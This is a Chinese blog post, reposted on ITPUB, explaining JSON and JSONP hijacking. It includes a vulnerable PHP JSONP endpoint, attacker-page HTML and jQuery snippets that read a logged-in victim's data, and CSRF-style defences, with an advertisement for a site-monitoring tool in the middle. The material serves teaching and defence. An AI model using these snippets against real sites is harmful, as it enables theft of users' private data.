詳解JSON和JSONP劫持檢測程式碼以及解決方法

seven123發表於2020-11-28

json劫持

json劫持攻擊又為”JSON Hijacking”,攻擊過程有點類似於csrf,只不過csrf只管傳送http請求,但是json-hijack的目的是獲取敏感資料。

一些web應用會把一些敏感資料以json的形式返回到前端,如果僅僅透過cookie來判斷請求是否合法,那麼就可以利用類似csrf的手段,向目標伺服器傳送請求,以獲得敏感資料。

比如下面的連結在已登入的情況下會返回json格式的使用者資訊:

攻擊者可以在自己的虛假頁面中,加入如下標籤:

1

<script src= " " ></script>

如果當前瀏覽器已經登入了,並且cookie未過期,然後訪問了攻擊者的虛假頁面,那麼該頁面就可以拿到json形式的使用者敏感資訊,因為script標籤會自動解析json資料,生成對應的js物件。然後再透過

1

Object.prototype.__defineSetter__

這個函式來觸發自己的惡意程式碼。

IIS7網站監控可以及時防控網站風險,快速準確監控網站是否遭到各種劫持攻擊,網站在全國是否能正常開啟(檢視域名是否被牆),精準的DNS汙染檢測,具備網站開啟速度檢測功能,第一時間知道網站是否被黑、被入侵、被改標題、被掛黑鏈。精益求精的產品,缺陷為零資料提供!
它可以做到以下功能:

1、 檢測網站是否被黑

2、檢測網站是否被劫持

3、檢測域名是否被牆

4、檢測DNS是否被汙染

5、網站真實的完全開啟時間(獨家)

6、擁有獨立監控後臺,24小時定時監控域名

官方地址:

官方圖:

 

但是這個函式在當前的新版本chrome和firefox中都已經失效了。

jsonp劫持

jsonp是一個非官方的協議,利用script元素的開放策略,網頁可以得到從其他來源動態產生的json資料,因此可以用來實現跨域。(關於JSONP可以參考我的博文:

web程式如果透過這種方式跨域之後,攻擊者完全可以在自己的虛假頁面中發起惡意的jsonp請求,這就引來了安全問題。比如:

1

2

3

4

5

6

<script>

function   useUserInfo(v){

   alert(v.username);

}

</script>

<script src= " " ></script>

如果伺服器端的userinfo介面支援jsonp,那就會使虛假頁面成功執行useUserInfo函式,從而導致安全問題。

解決方法

其實json劫持和jsonp劫持屬於CSRF( Cross-site request forgery 跨站請求偽造)的攻擊範疇,所以解決的方法和解決csrf的方法一樣。

1、驗證 HTTP Referer 頭資訊;
2、在請求中新增 csrfToken 並在後端進行驗證;

關於CSRF攻擊可以參考我的博文:  

PS:JSONP劫持漏洞例項

getUser.php

1

2

3

4

5

6

7

8

<?php

header( 'Content-type: application/json' );

$jsoncallback   = htmlspecialchars( $_REQUEST   [ 'jsoncallback' ]); //獲取回撥函式名

//json資料

//$json_data = '["id","user"]';

$json_data = '({"id":"1","name":"Aaron"})' ;

echo   $jsoncallback   . "("   . $json_data   . ")" ; //輸出jsonp格式的資料

?>

Payload利用:

客戶端實現 callbackFunction 函式

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

<!DOCTYPE html>

< html >

< head >

< meta   charset = "utf-8" >

< title >JSONP劫持測試</ title >

</ head >

< body >

< script   type = "text/javascript" >

function callbackFunction(result)

     {

       alert(result.name);

     }

</ script >

< script   type = "text/javascript"   src = " " ></ script >

</ body >

</ html >

jQuery 使用 JSONP

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

<!DOCTYPE html>

< html >

< head >

   < meta   charset = "utf-8" >

   < title >JSONP劫持測試</ title >

   < script   src = " " ></ script

</ head >

< body >

< div   id = "divCustomers" ></ div >

 

< script   type = "text/javascript"

   $.getJSON(" ", function(getUsers){

      alert(getUsers.name);

   });

</ script >

</ body >

</ html >

 

 


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69989270/viewspace-2737888/,如需轉載,請註明出處,否則將追究法律責任。

相關文章